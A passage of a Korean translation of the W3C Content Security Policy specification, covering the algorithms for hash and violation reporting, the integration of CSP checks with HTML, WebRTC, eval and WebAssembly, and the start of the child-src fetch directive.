    1. 각각의 directive에 대해 policy에서:

      1. directive사후 요청 검사(post-request check) 실행 결과가 "Blocked"이면:

        1. § 5.5 위반 보고§ 2.4.2 요청 및 정책에 대한 위반 객체 생성의 결과(request, policy)에 대해 실행한다.

        2. policy상태(disposition)가 "enforce"이면, result를 "Blocked"로 설정한다.

    참고: 이 체크는 페이지가 해당 응답을 로드할 수 있는지(서비스 워커가 CSP를 위반하는 파일을 대체하지 않았는지) 검증합니다.

  4. result를 반환한다.

4.1.4. 해시 보고 가능성

response response, request request, directive directive, policy policy가 주어지면 다음 단계를 실행한다:

  1. algorithm을 빈 문자열로 한다.

  2. directive값(value)에 "'report-sha256'"가 포함되어 있으면, algorithm을 "sha256"으로 한다.

  3. directive값(value)에 "'report-sha384'"가 포함되어 있으면, algorithm을 "sha384"로 한다.

  4. directive값(value)에 "'report-sha512'"가 포함되어 있으면, algorithm을 "sha512"로 한다.

  5. algorithm이 빈 문자열이면, 반환한다.

  6. hash를 빈 문자열로 한다.

  7. responseCORS-동일 출처라면:

    1. h알고리즘을 바이트에 적용responsebody, algorithm에 대해 실행한 결과로 한다.

    2. hashalgorithm, U+2D(-), h 순서로 연결한 값으로 한다.

  8. globalrequestclient전역 객체(global object)로 한다.

  9. globalWindow가 아니면, 반환한다.

  10. stripped document URL§ 5.4 보고용 URL 변환globaldocumentURL에 대해 실행한 결과로 한다.

  11. policy지시어 집합에 "report-to"라는 지시어가 없으면 반환한다.

  12. report-to directivepolicy지시어 집합에서 "report-to"라는 지시어로 한다.

  13. body를 다음 값으로 하는 csp hash report body로 한다: stripped document URL(documentURL), request의 URL(subresourceURL), hash(hash), requestdestination(destination), "subresource"(type).

  14. Generate and queue a report를 다음 인자로 실행한다:

    context

    settings object

    type

    "csp-hash"

    destination

    report-to directive값(value)

    data

    body

4.2. HTML과의 통합

  1. policy containerCSP 리스트를 가지며, 해당 컨텍스트에 대해 활성화된 모든 정책(policy) 객체를 보관합니다. 이 리스트는 별도 명시 없을 시 비어 있으며, response의 Content Security Policy를 파싱하거나 policy container의 상속 규칙에 따라 채워집니다.

  2. 전역 객체(global object)CSP 리스트§ 4.2.2 객체의 CSP 리스트 획득을 해당 전역 객체에 대해 실행한 결과입니다.

  3. policy강제 적용(enforced) 또는 모니터링(monitored)될 수 있으며, 이는 전역 객체CSP 리스트에 삽입함으로써 이루어집니다.

  4. § 4.2.1 문서의 CSP 초기화 실행Document 객체 생성 및 초기화 알고리즘 중에 호출됩니다.

  5. § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy에 의해 차단되어야 하는지 여부script 요소 준비style 블록 업데이트 알고리즘 중에 호출되어 인라인 스크립트 또는 스타일 블록 실행/렌더링 허용 여부를 결정합니다.

  6. § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy에 의해 차단되어야 하는지 여부는 인라인 이벤트 핸들러(onclick 등) 및 인라인 style 속성 처리 중에도 호출되어 실행/렌더링 허용 여부를 결정합니다.

  7. policy강제 적용되며, 이는 meta 요소의 http-equiv 처리 중에 이루어집니다.

  8. HTML은 각 request암호학적 nonce 메타데이터파서 메타데이터를 리소스 로딩을 담당하는 요소에서 관련 데이터를 채워 넣습니다.

    스타일시트 로딩은 아직 WHATWG HTML의 Fetch와 통합되지 않았습니다. [whatwg/html Issue #968]

  9. § 6.3.1.1 문서에서 base 허용 여부base 요소의 frozen base URL 설정 알고리즘 중에 호출되어 href 속성 값의 유효성을 보장합니다.

  10. § 4.2.4 내비게이션 요청 타입이 Content Security Policy에 의해 차단되어야 하는지 여부create navigation params by fetching 알고리즘 중에 호출되고, § 4.2.5 대상의 내비게이션 요청 타입에 대한 응답이 Content Security Policy에 의해 차단되어야 하는지 여부attempt to populate the history entry’s document 알고리즘 중에 호출되어 지시어의 내비게이션 검사 및 javascript: URL에 대한 인라인 검사를 적용합니다.

  11. § 4.2.6 전역 객체에 대한 CSP 초기화 실행worker 실행 알고리즘 중에 호출됩니다.

  12. sandbox 지시어는 CSP 기반 샌드박싱 플래그를 채우는 데 사용됩니다.

4.2.1. Document에 대해 CSP 초기화 실행

Document document가 주어지면, 사용자 에이전트는 document에 대해 CSP를 초기화하기 위해 다음 단계를 수행합니다:

  1. 각각의 policy에 대해 documentpolicy containerCSP 리스트에서:

    1. 각각의 directive에 대해 policy에서:

      1. directive초기화(initialization) 알고리즘을 document에 대해 실행하고, 반환 값이 "Allowed"임을 보장한다.

4.2.2. objectCSP 리스트 획득

objectCSP 리스트를 얻으려면:

  1. objectDocument라면, objectpolicy containerCSP 리스트를 반환한다.

  2. objectWindow 또는 WorkerGlobalScope 또는 WorkletGlobalScope라면, environment settings objectpolicy containerCSP 리스트를 반환한다.

  3. null을 반환한다.

4.2.3. element의 인라인 type 동작이 콘텐츠 보안 정책에 의해 차단되어야 하는지 여부

Element element, 문자열 type, 문자열 source가 주어졌을 때, 이 알고리즘은 해당 요소가 특정 유형의 인라인 동작(스크립트 실행, 스타일 적용, 이벤트 핸들러 등)을 허용하면 "Allowed"를 반환하고, 그렇지 않으면 "Blocked"를 반환한다:

참고: type의 유효 값은 "script", "script attribute", "style", "style attribute"이다.

  1. 단언: element는 null이 아니다.

  2. result를 "Allowed"로 한다.

  3. 각각의 policy에 대해 elementDocument전역 객체(global object)CSP 리스트에서:

    1. 각각의 directive에 대해 policy지시어 집합에서:

      1. directive인라인 검사element, type, policy, source에 대해 실행한 결과가 "Allowed"면 다음 directive로 넘어간다.

      2. directive-name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

      3. 그 외의 경우, violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성현재 설정 객체(current settings object)전역 객체(global object), policy, directive-name에 대해 실행한 결과로 한다.

      4. violation리소스(resource)를 "inline"으로 설정한다.

      5. violation요소(element)element로 설정한다.

      6. directive값(value)에 "'report-sample'"가 포함되어 있으면, violation샘플(sample)source의 첫 40자를 포함하는 부분 문자열로 설정한다.

      7. § 5.5 위반 보고violation에 대해 실행한다.

      8. policy상태(disposition)가 "enforce"면 result를 "Blocked"로 한다.

  4. result를 반환한다.

4.2.4. typenavigation request가 콘텐츠 보안 정책에 의해 차단되어야 하는지 여부

request navigation request와 문자열 type("form-submission" 또는 "other")가 주어졌을 때, 이 알고리즘은 활성 정책이 내비게이션을 차단하면 "Blocked"를, 그렇지 않으면 "Allowed"를 반환한다:

  1. result를 "Allowed"로 한다.

  2. 각각의 policy에 대해 navigation requestpolicy containerCSP 리스트에서:

    1. 각각의 directive에 대해 policy에서:

      1. directive내비게이션 전 검사(pre-navigation check)navigation request, type, policy에 대해 실행한 결과가 "Allowed"이면 다음 directive로 넘어간다.

      2. 그 외의 경우, violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성navigation requestclient전역 객체(global object), policy, directive이름(name)에 대해 실행한 결과로 한다.

      3. violation리소스(resource)navigation requestURL로 설정한다.

      4. § 5.5 위반 보고violation에 대해 실행한다.

      5. policy상태(disposition)가 "enforce"면 result를 "Blocked"로 한다.

  3. result가 "Allowed"이고, navigation requestcurrent URLschemejavascript이면:

    1. 각각의 policy에 대해 navigation requestpolicy containerCSP 리스트에서:

      1. 각각의 directive에 대해 policy에서:

        1. directive-name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득을 "navigation"에 대해 실행한 결과로 한다.

        2. directive인라인 검사를 null, "navigation", navigation requestcurrent URL에 대해 실행한 결과가 "Allowed"이면 다음 directive로 넘어간다.

        3. 그 외의 경우, violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성navigation requestclient전역 객체(global object), policy, directive-name에 대해 실행한 결과로 한다.

        4. violation리소스(resource)를 "inline"으로 설정한다.

        5. § 5.5 위반 보고violation에 대해 실행한다.

        6. policy상태(disposition)가 "enforce"면 result를 "Blocked"로 한다.

  4. result를 반환한다.

4.2.5. targettype에 대한 navigation requestnavigation response가 콘텐츠 보안 정책에 의해 차단되어야 하는지 여부

request navigation request, response navigation response, CSP 리스트 response CSP list, 문자열 type("form-submission" 또는 "other"), navigable target이 주어졌을 때, 이 알고리즘은 활성 정책이 내비게이션을 차단하면 "Blocked", 그렇지 않으면 "Allowed"를 반환한다:

  1. result를 "Allowed"로 한다.

  2. 각각의 policy에 대해 response CSP list에서:

    참고: 일부 지시어(frame-ancestors 등)는 response콘텐츠 보안 정책이 내비게이션에 작용할 수 있도록 한다.

    1. 각각의 directive에 대해 policy에서:

      1. directive내비게이션 응답 검사(navigation response check)navigation request, type, navigation response, target, "response", policy에 대해 실행한 결과가 "Allowed"이면 다음 directive로 넘어간다.

      2. 그 외의 경우, violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성을 null, policy, directive이름(name)에 대해 실행한 결과로 한다.

        참고: 전역 객체는 존재하지 않으므로 null을 사용한다. 아직 내비게이션이 처리되어 Document가 생성되지 않았기 때문이다.

      3. violation리소스(resource)navigation responseURL로 설정한다.

      4. § 5.5 위반 보고violation에 대해 실행한다.

      5. policy상태(disposition)가 "enforce"면 result를 "Blocked"로 한다.

  3. 각각의 policy에 대해 navigation requestpolicy containerCSP 리스트에서:

    참고: navigation request 컨텍스트의 일부 지시어(frame-ancestors 등)는 내비게이션에 대해 response가 필요하다.

    1. 각각의 directive에 대해 policy에서:

      1. directive내비게이션 응답 검사(navigation response check)navigation request, type, navigation response, target, "source", policy에 대해 실행한 결과가 "Allowed"이면 다음 directive로 넘어간다.

      2. 그 외의 경우, violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성navigation requestclient전역 객체(global object), policy, directive이름(name)에 대해 실행한 결과로 한다.

      3. violation리소스(resource)navigation requestURL로 설정한다.

      4. § 5.5 위반 보고violation에 대해 실행한다.

      5. policy상태(disposition)가 "enforce"면 result를 "Blocked"로 한다.

  4. result를 반환한다.

4.2.6. 전역 객체에 대해 CSP 초기화 실행

전역 객체(global object) global이 주어졌을 때, 사용자 에이전트는 global에 대해 CSP를 초기화하기 위해 다음 단계를 수행합니다. 이 알고리즘은 global이 허용되면 "Allowed"를, 그렇지 않으면 "Blocked"를 반환합니다:

  1. result를 "Allowed"로 한다.

  2. 각각의 policy에 대해 globalCSP 리스트에서:

    1. 각각의 directive에 대해 policy에서:

      1. directive초기화(initialization) 알고리즘을 global에 대해 실행한다. 반환 값이 "Blocked"이면 result를 "Blocked"로 한다.

  3. result를 반환한다.

4.3. WebRTC와의 통합

administratively-prohibited 알고리즘은 § 4.3.1 global에 대해 RTC 연결 차단 여부를 호출하며, 그 결과가 "Blocked"이면 모든 후보를 금지합니다.

4.3.1. global에 대해 RTC 연결을 차단해야 하는지 여부

전역 객체(global object) global이 주어졌을 때, 이 알고리즘은 global에 대해 활성 정책이 RTC 연결을 차단하면 "Blocked", 그렇지 않으면 "Allowed"를 반환합니다:

  1. result를 "Allowed"로 한다.

  2. 각각의 policy에 대해 globalCSP 리스트에서:

    1. 각각의 directive에 대해 policy에서:

      1. directivewebrtc 사전 연결 검사를 실행한 결과가 "Allowed"이면 continue한다.

      2. 그 외의 경우, violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성global, policy, directive이름(name)에 대해 실행한 결과로 한다.

      3. violation리소스(resource)를 null로 설정한다.

      4. § 5.5 위반 보고violation에 대해 실행한다.

      5. policy상태(disposition)가 "enforce"면 result를 "Blocked"로 한다.

  3. result를 반환한다.

4.4. ECMAScript와의 통합

ECMAScript는 HostEnsureCanCompileStrings() 추상 연산을 정의하며, 호스트 환경이 문자열을 ECMAScript 코드로 컴파일하는 것을 차단할 수 있습니다. 이 문서는 관련 CSP 리스트를 검사하여 컴파일을 차단할지 결정하는 해당 추상 연산의 구현을 정의합니다.

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

realm realm, 문자열 리스트 parameterStrings, 문자열 bodyString, 문자열 codeString, 열거형(compilationType), ECMAScript 언어 값 리스트(parameterArgs), ECMAScript 언어 값(bodyArg)이 주어졌을 때, 이 알고리즘은 문자열 컴파일이 허용되면 정상 반환하고, 허용되지 않으면 "EvalError"를 throw합니다:

  1. compilationType이 "TIMER"이면:

    1. sourceStringcodeString으로 한다.

  2. 그 외의 경우:

    1. compilationSinkcompilationType이 "FUNCTION"이면 "Function", 아니면 "eval"로 한다.

    2. isTrustedbodyArg구현(implements) TrustedScripttrue, 아니면 false로 한다.

    3. isTrustedtrue이면:

      1. bodyStringbodyArgdata와 다르면 isTrustedfalse로 설정한다.

    4. isTrustedtrue이면:

      1. 단언: parameterArgs의 [list/size=]가 [parameterStrings]의 크기(size)와 같다.

      2. 각각의 index에 대해 범위(range) 0부터 |parameterArgs| [list/size=]까지:

        1. argparameterArgs[index]로 한다.

        2. arg구현(implements) TrustedScript면:

          1. parameterStrings[index]가 argdata와 다르면 isTrustedfalse로 한다.

        3. 그 외의 경우 isTrustedfalse로 한다.

    5. sourceToValidatenew TrustedScript 객체로, realm에서 생성하고 dataisTrustedtruecodeString이고, 아니면 codeString으로 한다.

    6. sourceStringGet Trusted Type compliant string 알고리즘을 TrustedScript, realm, sourceToValidate, compilationSink, 'script'에 대해 실행한 결과로 한다.

    7. 알고리즘에서 오류가 throw되면 EvalError를 throw한다.

    8. sourceStringcodeString과 다르면 EvalError를 throw한다.

  3. result를 "Allowed"로 한다.

  4. globalrealm전역 객체(global object)로 한다.

  5. 각각의 policy에 대해 globalCSP 리스트에서:

    1. source-list를 null로 한다.

    2. policy지시어(directive)가 있고, 이름(name)이 "script-src"이면 source-list를 해당 지시어값(value)으로 한다.

      그 외에 policy지시어(directive)가 있고, 이름(name)이 "default-src"이면 source-list를 해당 지시어의 값(value)으로 한다.

    3. source-list가 null이 아니면:

      1. trustedTypesRequiredDoes sink type require trusted types?realm, 'script', false에 대해 실행한 결과로 한다.

      2. trustedTypesRequiredtrue이고 source-list소스 식(source expression)이 있고, ASCII 대소문자 구분 없이 일치하는 문자열이 "'trusted-types-eval'"이면 이하 단계는 건너뛴다.

      3. source-list소스 식(source expression)이 있고, ASCII 대소문자 구분 없이 일치하는 문자열이 "'unsafe-eval'"이면 이하 단계는 건너뛴다.

      4. violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성global, policy, "script-src"에 대해 실행한 결과로 한다.

      5. violation리소스(resource)를 "eval"로 한다.

      6. source-list에 "'report-sample'"가 포함되어 있으면, violation샘플(sample)sourceString의 첫 40자를 포함하는 부분 문자열로 한다.

      7. § 5.5 위반 보고violation에 대해 실행한다.

      8. policy상태(disposition)가 "enforce"이면 result를 "Blocked"로 한다.

  6. result가 "Blocked"면 EvalError 예외를 throw한다.

4.5. WebAssembly와의 통합

WebAssembly는 HostEnsureCanCompileWasmBytes() 추상 연산을 정의하며, 호스트 환경이 WebAssembly 소스를 실행 가능한 코드로 컴파일하는 것을 차단할 수 있습니다. 이 문서는 관련 CSP 리스트를 검사하여 해당 컴파일을 차단할지 결정하는 해당 추상 연산의 구현을 정의합니다.

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

realm realm이 주어졌을 때, 컴파일이 허용되면 정상 반환하고, 허용되지 않으면 WebAssembly.CompileError를 throw한다:

  1. globalrealm전역 객체(global object)로 한다.

  2. result를 "Allowed"로 한다.

  3. 각각의 policy에 대해 globalCSP 리스트에서:

    1. source-list를 null로 한다.

    2. policy지시어(directive)가 있고, 이름(name)이 "script-src"이면 source-list를 해당 지시어값(value)으로 한다.

      그 외에 policy지시어(directive)가 있고, 이름(name)이 "default-src"이면 source-list를 해당 지시어의 값(value)으로 한다.

    3. source-list가 null이 아니고, 소스 식(source expression)ASCII 대소문자 구분 없이 일치하는 "'unsafe-eval'"가 없고, 소스 식(source expression)ASCII 대소문자 구분 없이 일치하는 "'wasm-unsafe-eval'"가 없으면:

      1. violation§ 2.4.1 global, policy, directive에 대한 위반 객체 생성global, policy, "script-src"에 대해 실행한 결과로 한다.

      2. violation리소스(resource)를 "wasm-eval"로 한다.

      3. § 5.5 위반 보고violation에 대해 실행한다.

      4. policy상태(disposition)가 "enforce"이면 result를 "Blocked"로 한다.

  4. result가 "Blocked"면 WebAssembly.CompileError 예외를 throw한다.

5. 보고 및 통지

하나 이상의 정책(policy)의 지시어가 위반될 경우, csp 위반 보고(csp violation report)가 생성되어 정책에 연결된 보고 엔드포인트로 전송될 수 있습니다.

csp 위반 보고report type "csp-violation"을 가집니다.

csp 위반 보고ReportingObserver에게 노출됩니다.

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

스크립트류(script-like) destination에 영향을 주는 지시어가 report-sha256, report-sha384, report-sha512 값을 갖고, requestscript-like destination으로 가져오면, csp 해시 보고(csp hash report)가 생성되어 정책에 연결된 보고 엔드포인트로 전송됩니다.

csp 해시 보고report type "csp-hash"를 가집니다.

csp 해시 보고ReportingObserver에게 노출되지 않습니다.

csp 해시 보고 body(csp hash report body)는 다음 필드를 가지는 구조체(struct)입니다: documentURL, subresourceURL, hash, destination, type.

문서의 응답에 다음 헤더가 포함된 경우:
Reporting-Endpoints: hashes-endpoint="https://example.com/reports"
Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint

그리고 문서가 "main.js" 스크립트를 로드하면, 다음과 유사한 보고가 전송됩니다:

POST /reports HTTP/1.1
Host: example.com
...
Content-Type: application/reports+json

[{
  "type": "csp-hash",
  "age": 12,
  "url": "https://example.com/",
  "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0",
  "body": {
    "document_url": "https://example.com/",
    "subresource_url": "https://example.com/main.js",
    "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281",
    "type": "subresource",
    "destination": "script"
  }
}]

5.1. 위반 DOM 이벤트

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. 위반의 resource에 대한 blockedURI 획득

위반의 resource resource가 주어졌을 때, 이 알고리즘은 위반 보고의 blocked URI 필드로 사용할 문자열(string)을 반환한다.

  1. 단언: resourceURL 또는 문자열(string)이다.

  2. resourceURL이면, § 5.4 보고용 URL 변환resource에 대해 실행한 결과를 반환한다.

  3. resource를 반환한다.

5.3. violation의 폐기된 직렬화 획득

violation violation이 주어졌을 때, 이 알고리즘은 해당 위반을 JSON 텍스트 문자열로 직렬화하여, 폐기된 report-uri 지시어에 연결된 보고 엔드포인트로 제출할 수 있도록 한다.

  1. body를 다음 키로 초기화된 map으로 한다:

    "document-uri"

    § 5.4 보고용 URL 변환violationurl에 대해 실행한 결과

    "referrer"

    § 5.4 보고용 URL 변환violationreferrer에 대해 실행한 결과

    "blocked-uri"

    § 5.2 위반의 resource에 대한 blockedURI 획득violationresource에 대해 실행한 결과

    "effective-directive"

    violation유효 지시어(effective directive)

    "violated-directive"

    violation유효 지시어(effective directive)

    "original-policy"

    violationpolicy직렬화(serialization)

    "disposition"

    violationpolicy상태(disposition)

    "status-code"

    violation상태(status)

    "script-sample"

    violation샘플(sample)

    참고: script-sample 이름은 이 기능의 초기 버전과의 호환성을 위해 선택되었으며, Firefox의 CSP 최초 구현부터 사용되고 있습니다. 이름과 달리 이 필드는 스타일시트 등 스크립트가 아닌 위반에 대해서도 샘플을 포함합니다. SecurityPolicyViolationEvent 객체 및 새로운 report-to 지시어로 생성된 보고서에서는 보다 포괄적인 명칭 sample을 사용합니다.

  2. violation소스 파일(source file)이 null이 아니면:

    1. body["source-file"]를 § 5.4 보고용 URL 변환violation소스 파일(source file)에 대해 실행한 결과로 설정한다.

    2. body["line-number"]를 violation행 번호(line number)로 설정한다.

    3. body["column-number"]를 violation열 번호(column number)로 설정한다.

  3. 단언: body["blocked-uri"]가 "inline"이 아니면, body["sample"]는 빈 문자열이다.

  4. serialize an infra value to JSON bytes를 «[ "csp-report" → body ]»에 대해 실행한 결과를 반환한다.

5.4. 보고용 URL 변환

URL url이 주어졌을 때, 이 알고리즘은 위반 보고에 사용할 URL을 나타내는 문자열을 반환한다:
  1. urlschemeHTTP(S) scheme가 아니면, urlscheme를 반환한다.

  2. urlfragment를 빈 문자열로 설정한다.

  3. urlusername을 빈 문자열로 설정한다.

  4. urlpassword를 빈 문자열로 설정한다.

  5. urlURL serializer를 실행한 결과를 반환한다.

5.5. violation 보고

violation violation이 주어졌을 때, 이 알고리즘은 해당 위반을 violationpolicy에 지정된 엔드포인트로 보고하고, violationelement 또는 violation전역 객체(global object)SecurityPolicyViolationEvent를 발생시킨다. 아래에 설명된 대로 처리된다:

  1. globalviolation전역 객체(global object)로 한다.

  2. targetviolation요소(element)로 한다.

  3. 태스크를 큐에 추가하여 다음 단계를 실행한다:

    참고: 여기서 "태스크를 큐에 추가"하는 이유는 이벤트 타겟팅과 디스패치가 자바스크립트가 위반을 일으킨 태스크를 모두 실행한 후(이 과정에서 DOM이 조작될 수도 있음)에 일어나도록 보장하기 위함입니다.

    1. target이 null이 아니고, globalWindow 객체이며, targetshadow-including rootglobal연결된 Document와 다르면, target을 null로 설정한다.

      참고: 이는 이벤트가 문서에 연결된 요소에서만 발생하도록 보장합니다. 요소가 해당 문서에 연결되어 있지 않은 경우, 이벤트는 요소가 아니라 문서에서 발생하여 위반이 문서 리스너에 노출되도록 합니다.

    2. target이 null이면:

      1. targetviolation전역 객체(global object)로 설정한다.

      2. targetWindow이면, targettarget연결된 Document로 설정한다.

    3. targetEventTarget을 구현하면, 이벤트를 발생시킨다. 이름은 securitypolicyviolation 이며, SecurityPolicyViolationEvent 인터페이스를 사용하고, target에서 다음 속성값으로 초기화한다:

      documentURI

      § 5.4 보고용 URL 변환violationurl에 대해 실행한 결과

      referrer

      § 5.4 보고용 URL 변환violationreferrer에 대해 실행한 결과

      blockedURI

      § 5.2 위반의 resource에 대한 blockedURI 획득violationresource에 대해 실행한 결과

      effectiveDirective

      violation유효 지시어(effective directive)

      violatedDirective

      violation유효 지시어(effective directive)

      originalPolicy

      violationpolicy직렬화(serialization)

      disposition

      violation상태(disposition)

      sourceFile

      § 5.4 보고용 URL 변환violationsource file에 대해 실행한 결과(단, violationsource file이 null이 아니면), 그렇지 않으면 null

      statusCode

      violation상태(status)

      lineNumber

      violation행 번호(line number)

      columnNumber

      violation열 번호(column number)

      sample

      violation샘플(sample)

      bubbles

      true

      composed

      true

      참고: composed 속성을 true로 설정하면 이벤트가 shadow tree로 들어가거나 나올 때 캡처될 수 있습니다. target 등은 메인 트리에 대해 자동으로 올바르게 범위가 지정됩니다.

      참고: effectiveDirectiveviolatedDirective는 동일한 값입니다. 이는 하위 호환성을 위해 의도적으로 그렇게 설계되었습니다.

    4. violationpolicy지시어 집합에 "report-uri"라는 지시어가 있으면:

      1. violationpolicy지시어 집합에 "report-to"라는 지시어가 있으면, 이하 하위 단계를 건너뛴다.

      2. 각각의 token에 대해 directive값(value)에서:

        1. endpointURL 파서token을 입력, violationurlbase URL로 실행한 결과로 한다.

        2. endpoint가 유효한 URL이 아니면 이하 하위 단계를 건너뛴다.

        3. request를 새로운 request로, 다음과 같이 초기화한다:

          method

          "POST"

          url

          endpoint

          origin

          violation전역 객체(global object)관련 설정 객체(relevant settings object)origin

          traversable for user prompts

          "no-traversable"

          client

          violation전역 객체(global object)관련 설정 객체(relevant settings object)

          destination

          "report"

          initiator

          ""

          credentials mode

          "same-origin"

          keepalive

          "true"

          header list

          헤더 리스트에 "Content-Type" 이름과 "application/csp-report" 값을 가진 헤더를 하나 포함한다.

          body

          § 5.3 폐기된 violation 직렬화 획득violation에 대해 실행한 결과

          redirect mode

          "error"

          참고: requestmode는 기본적으로 "no-cors"이며, 응답은 완전히 무시됩니다.

        4. Fetch request. 결과는 무시됩니다.

      참고: 이 동작은 모두 폐기된 것으로 간주해야 합니다. 위반 건마다 단일 요청을 보내는데, 확장성이 좋지 않습니다. 사용자 에이전트에서 이 동작을 제거할 수 있게 되면 즉시 제거될 예정입니다.

      참고: report-urireport-to가 없을 때만 작동합니다. 즉, report-to가 있으면 report-uri를 덮어써서, 새로운 메커니즘을 지원하지 않는 브라우저와의 하위 호환성을 제공합니다.

    5. violationpolicy지시어 집합에 "report-to"라는 지시어가 있으면:

      1. body를 새로운 CSPViolationReportBody로, 다음과 같이 초기화한다:

        documentURL

        § 5.4 보고용 URL 변환violationurl에 대해 실행한 결과

        referrer

        § 5.4 보고용 URL 변환violationreferrer에 대해 실행한 결과

        blockedURL

        § 5.2 위반의 resource에 대한 blockedURI 획득violationresource에 대해 실행한 결과

        effectiveDirective

        violation유효 지시어(effective directive)

        originalPolicy

        violationpolicy직렬화(serialization)

        sourceFile

        § 5.4 보고용 URL 변환violationsource file에 대해 실행한 결과(단, violationsource file이 null이 아니면), 그렇지 않으면 null

        sample

        violation샘플(sample)

        disposition

        violation상태(disposition)

        statusCode

        violation상태(status)

        lineNumber

        violation행 번호(line number)(violationsource file이 null이 아니면), 그렇지 않으면 null

        columnNumber

        violation열 번호(column number)(violationsource file이 null이 아니면), 그렇지 않으면 null

      2. settings objectviolation전역 객체(global object)관련 설정 객체(relevant settings object)로 한다.

      3. Generate and queue a report를 다음 인자로 실행한다:

        context

        settings object

        type

        "csp-violation"

        destination

        directive값(value)

        data

        body

6. 콘텐츠 보안 정책 지시어

이 현행 표준은 개발자가 사이트 동작의 특정 측면을 제어할 수 있도록 다양한 지시어 유형을 정의합니다. 본 문서는 리소스 패칭을 관리하는 지시어(§ 6.1 패치 지시어), 문서의 상태를 관리하는 지시어(§ 6.3 문서 지시어), 내비게이션을 관리하는 지시어(§ 6.4 내비게이션 지시어), 그리고 보고를 관리하는 지시어(§ 6.5 보고 지시어)를 정의합니다. 이러한 지시어들은 콘텐츠 보안 정책의 핵심을 이룹니다. 기타 지시어는 부가 문서에서 모듈형으로 정의됩니다(예시는 § 6.6 다른 문서에 정의된 지시어 참고).

교차 사이트 스크립팅 공격 위험을 완화하기 위해, 웹 개발자는 스크립트 및 플러그인의 소스를 제한하는 지시어를 반드시 포함해야 합니다. 다음과 같이 할 수 있습니다:

어느 경우든 개발자는 정책에 'unsafe-inline' 또는 data:를 유효 소스로 포함하지 않아야 합니다. 둘 다 문서 내에 직접 코드를 포함할 수 있게 하므로 XSS 공격을 허용할 수 있으며, 완전히 피하는 것이 좋습니다.

6.1. 패치 지시어

패치 지시어(fetch directives)는 특정 리소스 유형을 어디서 불러올 수 있는지 제어합니다. 예를 들어 script-src는 신뢰할 수 있는 스크립트 소스만 페이지에서 실행되도록 허용할 수 있고, font-src는 웹 폰트 소스를 제어합니다.

6.1.1. child-src

child-src 지시어는 자식 내비게이션(예: iframeframe 내비게이션) 및 Worker 실행 컨텍스트 생성을 제어합니다. 지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:

directive-name  = "child-src"
directive-value = serialized-source-list

이 지시어는 프레임이나 워커를 채우는 요청(request)을 제어합니다. 더 공식적으로는, 다음 범주 중 하나에 해당하는 요청(request)에 적용됩니다:

다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: child-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 child-src소스 리스트와 일치하지 않기 때문입니다:

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. child-src 사전 요청 검사

이 지시어의 사전 요청 검사(pre-request check)는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, child-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. name지시어사전 요청 검사(pre-request check)request, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.

6.1.1.2. child-src 사후 요청 검사

이 지시어의 사후 요청 검사(post-request check)는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, child-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. name지시어사후 요청 검사(post-request check)request, response, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.

6.1.2. connect-src

